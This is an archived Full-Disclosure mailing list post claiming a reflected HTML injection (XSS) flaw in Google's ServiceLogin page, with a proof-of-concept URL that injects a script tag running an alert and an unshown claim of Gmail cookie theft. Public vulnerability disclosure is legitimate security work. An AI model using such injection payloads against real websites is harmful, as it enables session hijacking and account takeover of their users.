[Full-disclosure] Gmail 0day

[Scripter Hack]

There is a html injection vulnerability in https://www.google.com.
It  is very critical,you can get the cookie to login into gmail ore other
service.

POC:
https://www.google.com/accounts/ServiceLogin?service=mail&rm=false&continue=http%3A%2F%2Fmail.google.com%2Fmail%2F%3Fui%3Dhtml%26zy%3Dl&ltmpl=default&ltmplcache=2&passive=truel#"></script><script>alert('xss')</script>&1-=1

More:http://xss2root.blogspot.com/
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20071108/877f400f/attachment.html